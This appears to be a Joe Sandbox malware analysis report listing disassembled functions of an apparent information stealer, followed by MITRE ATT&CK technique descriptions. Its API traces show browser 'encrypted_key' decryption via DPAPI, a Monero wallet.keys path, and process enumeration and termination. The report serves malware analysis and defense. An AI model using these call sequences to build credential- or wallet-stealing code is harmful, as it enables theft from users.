Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: f209d61b540fe866096bc61181816b822377ff93632ff30e084753d76e9480be
Instruction ID: 27be4091555c17d33ab18a40768bd0ac95e9a3e0449eb25e585e5413360264ee
Opcode Fuzzy Hash: f209d61b540fe866096bc61181816b822377ff93632ff30e084753d76e9480be
Instruction Fuzzy Hash: F7511771D10148ABDB04FBF4DC96DEE7379AF64300F808529F81667291EF346A09DBA6

Function 001D3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 5714d3e105560443adcd6d573ea74a69d0c96faebdd975ea1f1aa845628f0cb7
Instruction ID: aae13de1d32ba86830497d83ae9d6296b49e02dac1dcb1e5a1dab9b78a7a1b12
Opcode Fuzzy Hash: 5714d3e105560443adcd6d573ea74a69d0c96faebdd975ea1f1aa845628f0cb7
Instruction Fuzzy Hash: 06415F71D10209AFCB04EFE5DC85AEEB774AF58304F40801AE41677390EB75AA45CFA6

Function 001C9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

Part of subcall function 001C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001C99EC
Part of subcall function 001C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001C9A11
Part of subcall function 001C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001C9A31
Part of subcall function 001C99C0: ReadFile.KERNEL32(000000FF,?,00000000,001C148F,00000000), ref: 001C9A5A
Part of subcall function 001C99C0: LocalFree.KERNEL32(001C148F), ref: 001C9A90
Part of subcall function 001C99C0: CloseHandle.KERNEL32(000000FF), ref: 001C9A9A

Part of subcall function 001D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001D8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 001C9D39

Part of subcall function 001C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001C4EEE,00000000,00000000), ref: 001C9AEF
Part of subcall function 001C9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,001C4EEE,00000000,?), ref: 001C9B01
Part of subcall function 001C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,001C4EEE,00000000,00000000), ref: 001C9B2A
Part of subcall function 001C9AC0: LocalFree.KERNEL32(?,?,?,?,001C4EEE,00000000,?), ref: 001C9B3F

Part of subcall function 001C9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 001C9B84
Part of subcall function 001C9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 001C9BA3
Part of subcall function 001C9B60: LocalFree.KERNEL32(?), ref: 001C9BD3

Strings

"encrypted_key":", xrefs: 001C9D30
DPAPI, xrefs: 001C9D89
, xrefs: 001C9DC1

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 6c7b82edacc5229b39e627bed0d3bf498dc386a3cf8bd19d95c8dd6ff409370a
Instruction ID: c8ca1c0dd15fb6b29c803d1cfc442054ca7034b35933b3b411e544c8eb8ced78
Opcode Fuzzy Hash: 6c7b82edacc5229b39e627bed0d3bf498dc386a3cf8bd19d95c8dd6ff409370a
Instruction Fuzzy Hash: 33311EB6D10209ABCB14DBE4DC89FEEB7B8AF68304F54451DE906B7241E735DA04CBA1

Function 001D94D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001D94EB

Part of subcall function 001D8D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,001D951E,00000000), ref: 001D8D5B
Part of subcall function 001D8D50: RtlAllocateHeap.NTDLL(00000000), ref: 001D8D62
Part of subcall function 001D8D50: wsprintfW.USER32 ref: 001D8D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 001D95AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 001D95C9
CloseHandle.KERNEL32(00000000), ref: 001D95D6

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 46b1f1d1f44547fae6ac93f92aff9f07a11e3ccbd871f7090839718594e1cad8
Instruction ID: b83b54bc3ba82365e2b682939ce3f9c679c5150b405cb169f25d74ac04fae4eb
Opcode Fuzzy Hash: 46b1f1d1f44547fae6ac93f92aff9f07a11e3ccbd871f7090839718594e1cad8
Instruction Fuzzy Hash: 29311C71A003489FDB14DBE0DD49BEDB778EF54300F10856AE506AB284DB78AA89CB56

Function 001D8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 001DA740: lstrcpy.KERNEL32(001E0E17,00000000), ref: 001DA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001E05B7), ref: 001D86CA
Process32First.KERNEL32(?,00000128), ref: 001D86DE
Process32Next.KERNEL32(?,00000128), ref: 001D86F3

Part of subcall function 001DA9B0: lstrlen.KERNEL32(?,00E39130,?,\Monero\wallet.keys,001E0E17), ref: 001DA9C5
Part of subcall function 001DA9B0: lstrcpy.KERNEL32(00000000), ref: 001DAA04
Part of subcall function 001DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001DAA12

Part of subcall function 001DA8A0: lstrcpy.KERNEL32(?,001E0E17), ref: 001DA905

CloseHandle.KERNEL32(?), ref: 001D8761

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 94b5717ac8924cc6aec3e945214cdb9fb50577396b3f0a2fb6650cf57d7a8e45
Instruction ID: c6a55ee32343d2d3f4b868e4634a809381449f8ca4b492df2459d1a09cfcd9e4
Opcode Fuzzy Hash: 94b5717ac8924cc6aec3e945214cdb9fb50577396b3f0a2fb6650cf57d7a8e45
Instruction Fuzzy Hash: 27317C71901258ABCB24EF91CC51FEEB778EF55700F5081AAF50AA22A0DF306E45CFA1

Function 001D7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,001E0E00,00000000,?), ref: 001D79B0
RtlAllocateHeap.NTDLL(00000000), ref: 001D79B7
GetLocalTime.KERNEL32(?,?,?,?,?,001E0E00,00000000,?), ref: 001D79C4
wsprintfA.USER32 ref: 001D79F3

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 4566c0c5630167fd432b44f1eb58d29fa0f20bf0445cd0f7b1f2eb23497f76dd
Instruction ID: 0ab9fea244ec4bee779cbfd7f8d3f6e165031601536dd32e1e8b216a63350e9a
Opcode Fuzzy Hash: 4566c0c5630167fd432b44f1eb58d29fa0f20bf0445cd0f7b1f2eb23497f76dd
Instruction Fuzzy Hash: 18112AB2904218ABCB14DFD9DE45BBEB7F8FB4CB11F10461AF645A2280E3395950C7B5

Function 001D92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(001D3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,001D3AEE,?), ref: 001D92FC
GetFileSizeEx.KERNEL32(000000FF,001D3AEE), ref: 001D9319
CloseHandle.KERNEL32(000000FF), ref: 001D9327

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 08099dfe31450bfc808f2c685bd8dddc39a2068358873499e6dc50610fa1198e
Instruction ID: d896ed4538183d2f3407ad12337edd67110cb4240434a819546fcd7ee07bf6dd
Opcode Fuzzy Hash: 08099dfe31450bfc808f2c685bd8dddc39a2068358873499e6dc50610fa1198e
Instruction Fuzzy Hash: BEF03779E40308BBDB14DBB0DD49B9E77B9BB48720F11C664BA51A72C0D670AA118B45

Function 001DC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 001DC74E

Part of subcall function 001DBF9F: __amsg_exit.LIBCMT ref: 001DBFAF

__getptd.LIBCMT ref: 001DC765
__amsg_exit.LIBCMT ref: 001DC773
__updatetlocinfoEx_nolock.LIBCMT ref: 001DC797

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: cb479c9beb2b014b2f6e3025a8327a9fe5012b88cbff9b799719ce3706f15b1f
Instruction ID: 4dc162f7a3ba3a4bd18b9887dda62db0abd55765581348c6399eda4a01361676
Opcode Fuzzy Hash: cb479c9beb2b014b2f6e3025a8327a9fe5012b88cbff9b799719ce3706f15b1f
Instruction Fuzzy Hash: 41F0B432D09702DBDB21BBB8988774F33A06F10721F22494BF406AB3D2DB645941DED6

Function 001D4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001D8E0B

lstrcat.KERNEL32(?,00000000), ref: 001D4F7A
lstrcat.KERNEL32(?,001E1070), ref: 001D4F97
lstrcat.KERNEL32(?,00E39180), ref: 001D4FAB
lstrcat.KERNEL32(?,001E1074), ref: 001D4FBD

Part of subcall function 001D4910: wsprintfA.USER32 ref: 001D492C
Part of subcall function 001D4910: FindFirstFileA.KERNEL32(?,?), ref: 001D4943

Part of subcall function 001D4910: StrCmpCA.SHLWAPI(?,001E0FDC), ref: 001D4971
Part of subcall function 001D4910: StrCmpCA.SHLWAPI(?,001E0FE0), ref: 001D4987
Part of subcall function 001D4910: FindNextFileA.KERNEL32(000000FF,?), ref: 001D4B7D
Part of subcall function 001D4910: FindClose.KERNEL32(000000FF), ref: 001D4B92

Memory Dump Source

Source File: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000000.00000002.1746760550.00000000001C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.0000000000271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000027D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.00000000002A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746780935.000000000040A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.000000000041E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921253.00000000006BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747153843.00000000006BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747259207.0000000000856000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747273421.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 8e9c3a7ca87b95d7847e12d0ab6f5baea4106d73cfe3b36bd922bee3b51cfd47
Instruction ID: 1fdca972dad2863ce0813c80bd8ba4c9b7a84d70b17c8001a18f272f1f79a641
Opcode Fuzzy Hash: 8e9c3a7ca87b95d7847e12d0ab6f5baea4106d73cfe3b36bd922bee3b51cfd47
Instruction Fuzzy Hash: 6B21987690030867C754FBB0DD56EED333CABA9300F004569B699A3181EF74DAD98B96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

